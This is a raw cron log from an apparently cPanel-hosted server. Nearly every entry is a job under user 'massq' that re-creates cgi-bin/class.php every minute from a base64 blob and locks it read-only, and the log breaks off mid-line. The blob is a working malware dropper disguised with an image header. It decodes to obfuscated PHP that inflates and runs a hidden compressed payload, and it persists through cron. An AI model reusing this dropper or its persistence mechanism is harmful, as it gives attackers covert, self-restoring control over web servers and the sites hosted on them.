Nov 14 19:06:01 server CROND[11698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:07:01 server CROND[12762]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:08:01 server CROND[13631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:09:01 server CROND[14509]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:09:01 server CROND[14510]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 19:10:01 server CROND[15129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:10:01 server CROND[15130]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 19:10:01 server CROND[15131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:10:01 server CROND[15132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:11:01 server CROND[15401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:12:01 server CROND[16075]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 19:12:01 server CROND[16076]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:13:01 server CROND[17032]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:14:01 server CROND[17908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:15:01 server CROND[18779]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:15:01 server CROND[18780]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:15:01 server CROND[18781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:16:01 server CROND[19712]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:17:01 server CROND[20585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:18:01 server CROND[21450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:19:01 server CROND[22238]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 